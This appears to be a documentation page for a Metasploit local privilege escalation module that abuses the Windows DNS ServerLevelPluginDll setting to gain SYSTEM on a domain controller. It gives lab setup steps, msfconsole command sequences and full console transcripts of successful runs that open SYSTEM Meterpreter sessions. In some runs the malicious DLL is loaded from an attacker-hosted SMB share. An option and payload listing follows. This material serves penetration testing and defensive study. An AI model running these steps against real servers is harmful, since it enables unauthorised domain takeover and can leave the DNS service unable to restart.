DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/windows/local/dnsadmin_serverlevelplugindll metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
- Module Overview
- Knowledge Base
- Vulnerable Application
- Verification Steps
- Options
- Scenarios
- Windows Server 2019 Standard x64, writing
msf.dllto%TEMP% - Windows Server 2019 Standard x64, specifying a UNC path for ServerLevelPluginDll
- Windows Server 2019 Standard x64, just creating DLL
- Notes
- Msfconsole Usage
- Error Messages
- Related Pull Requests
- References
- See Also
- Authors
- Version
Module Overview
Name: DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation
Module: exploit/windows/local/dnsadmin_serverlevelplugindll
Source code: modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb
Disclosure date: 2017-05-08
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module exploits a feature in the DNS service of Windows
Server. Users of the DnsAdmins group can set the
ServerLevelPluginDll value using dnscmd.exe to create a
registry key at
HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\
named ServerLevelPluginDll that can be made to point to an
arbitrary DLL. After doing so, restarting the service will
load the DLL and cause it to execute, providing us with
SYSTEM privileges. Increasing WfsDelay is recommended when
using a UNC path. Users should note that if the DLLPath
variable of this module is set to a UNC share that does not
exist, the DNS server on the target will not be able to
restart. Similarly if a UNC share is not utilized, and users
instead opt to drop a file onto the disk of the target
computer, and this gets picked up by Anti-Virus after the
timeout specified by AVTIMEOUT expires, its possible that
the ServerLevelPluginDll value of the
HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ key
on the target computer may point to an nonexistant DLL,
which will also prevent the DNS server from being able to
restart. Users are advised to refer to the documentation for
this module for advice on how to resolve this issue should
it occur. This module has only been tested and confirmed to
work on Windows Server 2019 Standard Edition, however it
should work against any Windows Server version up to and
including Windows Server 2019.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-service-down: Module may crash the service, and the service remains down.
Side Effects:
- config-changes: Module modifies some configuration setting on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/windows/local/dnsadmin_serverlevelplugindll
msf exploit(dnsadmin_serverlevelplugindll) > show targets
... a list of targets ...
msf exploit(dnsadmin_serverlevelplugindll) > set TARGET target-id
msf exploit(dnsadmin_serverlevelplugindll) > show options
... show and set options ...
msf exploit(dnsadmin_serverlevelplugindll) > set SESSION session-id
msf exploit(dnsadmin_serverlevelplugindll) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
Windows Server 2003 and above
Introduction
This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the
ServerLevelPluginDll value using dnscmd.exe to create a registry key at
HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\ named ServerLevelPluginDll that can be
made to point to an arbitrary DLL. Restarting the DNS service will then result in the attacker's DLL
being loaded and executed as the SYSTEM user, thereby granting the attacker SYSTEM privileges.
Note that if the option to drop the DLL file on the host is selected (instead of the option to use a UNC path), there is a possibility
that antivirus may detect the DLL file and remove it. In this case it will not be possible to restart the DNS service via the
Service Manager without first clearing out the ServerLevelPluginDll value of the
HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\
key using an account with administrator privileges.
To avoid the potential of this occurring, this module has a configurable option, AVTIMEOUT, which allows users to configure
how long they would like to wait for any potential AV to pick up on the file after which the module will then check to
ensure the dropped DLL file exists prior to creating the ServerLevelPluginDll value within the
HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ key.
It should also be noted that the UNC path option may run into a similar issue if an incorrect IP address is typed in, so users should
be especially careful when setting the value of DLLPATH to ensure that they don't inadvertently set an incorrect IP address and thereby
prevent the DNS server from being able to restart.
This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows Server version up to and including Windows Server 2019.
Setup Steps (Windows Server 2019 Standard)
- Install Windows Server 2019 Standard with GUI
- Install and configure Active Directory Domain Services and DNS services.
- Promote the server to a domain controller once the initial setup wizard is complete. This will complete the setup of the AD.
- Reboot
- Add a new user which I called normal and set its password to a long string such as
thisIsADamnGoodPassword123!. Don't use any other special characters or you may end up violating the default password policy. - Add this new user to two groups:
DnsAdmins(should have been created with the installation of the DNS server and the AD Server), andRemote Desktop Users. See https://www.snel.com/support/create-user-and-allow-rdp-permission-on-windows-server-2016/ for info on how to do this. - To go
Group Policy Management -> Forest -> Domains -> *your domain name* -> Domain Controllers -> Default Domain Controllers Policyand right click on it, then select Edit. From here select Policies -> Windows Settings -> Security Settings -> Local Policies -> User Right Managements and then select the Allow log on locally policy underneath this and double click on it. Ensure the Define these policy settings option is checked, and then select Add User or Group and add in the name of the user that you just created. It should look something in the format of domain name*user name*. Then click Apply and click OK. - Run gpupdate again.
- Reboot
- You should now be able to log in as the new user, which should also be in the DnsAdmins group.
You can confirm this by running
net localgroup DnsAdminsand confirming that the new user is listed as a member of this group in the output returned. - Run
wmic useraccount where name='*username of the new account*'to get the SID of the new account that you added in earlier. - Run
sc sdset "DNS" D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CR;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;RPWPDTLO;;;S-x-x-xx-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx-xxxx)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)in an elevated command prompt replacing the sample SID with the SID obtained via the earlier command (aka the SID of the new low privileged user you added).
Verification Steps
- Get a Meterpreter shell
use exploit/windows/local/dnsadmin_serverlevelplugindllset PAYLOAD <payload>. Payload architecture must be the same as the target systemset LHOST <lhost>set LPORT <lport>set SESSION <session_no>to specify sessionset DLLNAME <dllname>if you want to name your DLL something other thanmsf.dllset DLLPATH <dllpath>if you want to place your DLL somewhere other than%TEMP%or if you want to use a UNC pathset MAKEDLL trueif you want to just make the DLL, and not carry out the exploitexploitto get SYSTEM shell ifMAKEDLLis set tofalse, or to write the DLL to the~/.msf4/localfolder ifMAKEDLLis set totrue
Options
DLLNAME
Name of the DLL to use.
DLLPATH
Location of the DLL to use. If a UNC path is provided, the module will assume that the operator
has already performed the following actions:
1. Set up a working SMB2 share (via a tool such as Impacket's smbserver.py via a command such as
sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/
2. Created a DLL of the same architecture as the target system and placed in within this share.
MAKEDLL
If set to true, then just create the DLL, do not conduct the full exploit.
The resulting DLL will be stored in the ~/.msf4/local directory.
AVTIMEOUT
Time, in seconds, to wait for any AV on the target system to potentially pick up on the dropped DLL file, prior to the module checking to see if the DLL file still exists. This is needed to prevent a scenario where the DLL file gets removed and the module tries to make changes that could prevent the DNS server from being able to start.
Scenarios
Windows Server 2019 Standard x64, writing msf.dll to %TEMP%
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
s[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME msf.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL false yes Just create the DLL, do not exploit.
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.17.168.195 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set RHOST 172.17.169.123
RHOST => 172.17.169.123
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 7788
LPORT => 7788
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Checking service state...
[*] Building DLL...
[+] Wrote DLL to C:\Users\normal\AppData\Local\Temp\1\msf.dll!
[*] Sleeping for 60 seconds to ensure the file wasn't caught by any AV...
[+] Looks like our file wasn't caught by the AV.
[!] Entering danger section...
[*] Modifying ServerLevelPluginDll to point to C:\Users\normal\AppData\Local\Temp\1\msf.dll...
[+] Registry property serverlevelplugindll successfully reset.
[*] Restarting the DNS service...
[*] Started bind TCP handler against 172.17.169.123:7788
[*] Sending stage (200262 bytes) to 172.17.169.123
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.17.169.123:7788) at 2020-09-09 14:48:59 -0500
meterpreter >
[+] Exited danger zone successfully!
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows RAPID7\normal @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:4444 (172.17.169.123)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:7788 (172.17.169.123)
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : WIN-M5JU6L5RA9L
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : RAPID7
Logged On Users : 12
Meterpreter : x64/windows
meterpreter >
Windows Server 2019 Standard x64, specifying a UNC path for ServerLevelPluginDll
The easiest way to set this up is to Impacket's smbserver. You can find the source code for Impacket at https://github.com/SecureAuthCorp/impacket.
Download the latest release and untar it, then cd into the new directory that is created. You should see a file named setup.py. Run the command
sudo python3 setup.py install and it will install Impacket for you. Once this is done, navigate to the examples directory and follow the following steps:
~/Desktop/impacket-0.9.21/examples sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
This will create a SMBv2 server, listening on IP address 172.17.168.195, with a share named test, that will be sharing the contents of
the directory at /home/gwillcox/.msf4/local/. Next, set MAKEDLL to true and run the module to generate the payload.
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3
SESSION => 3
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
LPORT => 6688
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
MAKEDLL => true
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME mp4.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL true yes Just create the DLL, do not exploit.
SESSION 3 yes The session to run this module on.
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 6688 yes The listen port
RHOST 172.17.169.123 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Building DLL...
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) >
Once the DLL has been generated, one can proceed with the actual exploit:
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL false
MAKEDLL => false
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLPATH \\172.17.168.195\test
DLLPATH => \172.17.168.195\test
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[] Checking service state... [] Using user-provided UNC path. [!] Entering danger section... [] Modifying ServerLevelPluginDll to point to \172.17.168.195\test\mp4.dll... [+] Registry property serverlevelplugindll successfully reset. [] Restarting the DNS service... [] Started bind TCP handler against 172.17.169.123:6688 [] Sending stage (200262 bytes) to 172.17.169.123 [*] Meterpreter session 4 opened (0.0.0.0:0 -> 172.17.169.123:6688) at 2020-09-09 15:06:33 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-M5JU6L5RA9L
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : RAPID7
Logged On Users : 12
Meterpreter : x64/windows
meterpreter >
Windows Server 2019 Standard x64, just creating DLL
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
[*] Using configured payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3
SESSION => 3
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
LPORT => 6688
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
DLLNAME => mp4.dll
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
MAKEDLL => true
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME mp4.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL true yes Just create the DLL, do not exploit.
SESSION 3 yes The session to run this module on.
Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 6688 yes The listen port
RHOST 172.17.169.123 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
[*] Building DLL...
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
[*] Started bind TCP handler against 172.17.169.123:6688
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) >
Notes
- This module is not particularly opsec-safe as it drops a DLL to disk, writes to the registry, and is sure to generate a ton of event logs when the DNS service is stopped and restarted..
- Automatic cleanup of the dropped DLL is attempted if the DLL has been written to disk, but if automatic cleanup fails manual cleanup may be necessary.
Go back to menu.
Msfconsole Usage
Here is how the windows/local/dnsadmin_serverlevelplugindll exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/dnsadmin_serverlevelplugindll
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show info
Name: DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation
Module: exploit/windows/local/dnsadmin_serverlevelplugindll
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-05-08
Provided by:
Shay Ber
Imran E. Dawoodjee <[email protected]>
Module side effects:
config-changes
ioc-in-logs
Module stability:
crash-service-down
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME msf.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL false yes Just create the DLL, do not exploit.
SESSION yes The session to run this module on.
Payload information:
Description:
This module exploits a feature in the DNS service of Windows Server.
Users of the DnsAdmins group can set the `ServerLevelPluginDll`
value using dnscmd.exe to create a registry key at
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` named
`ServerLevelPluginDll` that can be made to point to an arbitrary
DLL. After doing so, restarting the service will load the DLL and
cause it to execute, providing us with SYSTEM privileges. Increasing
WfsDelay is recommended when using a UNC path. Users should note
that if the DLLPath variable of this module is set to a UNC share
that does not exist, the DNS server on the target will not be able
to restart. Similarly if a UNC share is not utilized, and users
instead opt to drop a file onto the disk of the target computer, and
this gets picked up by Anti-Virus after the timeout specified by
`AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll`
value of the
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key on the
target computer may point to an nonexistant DLL, which will also
prevent the DNS server from being able to restart. Users are advised
to refer to the documentation for this module for advice on how to
resolve this issue should it occur. This module has only been tested
and confirmed to work on Windows Server 2019 Standard Edition,
however it should work against any Windows Server version up to and
including Windows Server 2019.
References:
https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
https://adsecurity.org/?p=4064
http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
Module Options
This is a complete list of options available in the windows/local/dnsadmin_serverlevelplugindll exploit:
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
DLLNAME msf.dll yes DLL name (default: msf.dll)
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
MAKEDLL false yes Just create the DLL, do not exploit.
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the windows/local/dnsadmin_serverlevelplugindll exploit:
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show advanced
Module advanced options (exploit/windows/local/dnsadmin_serverlevelplugindll):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 20 no Additional delay in seconds to wait for a session
Payload advanced options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadBindPort no Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/dnsadmin_serverlevelplugindll module can exploit:
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/dnsadmin_serverlevelplugindll exploit:
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
6 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
7 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
8 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
9 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
10 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
11 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
12 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
13 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
14 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
15 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
16 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
17 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
18 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
19 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
21 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
22 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
23 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
24 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
25 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
26 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
27 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
28 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
29 payload/windows/exec normal No Windows Execute Command
30 payload/windows/loadlibrary normal No Windows LoadLibrary Path
31 payload/windows/messagebox normal No Windows MessageBox
32 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
33 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
34 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
35 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
36 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
37 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
38 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
39 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
40 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
41 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
42 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
43 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
44 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
45 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
46 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
47 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
48 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
49 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
50 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
51 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
52 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
53 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
55 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
56 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
57 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
58 payload/windows/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline
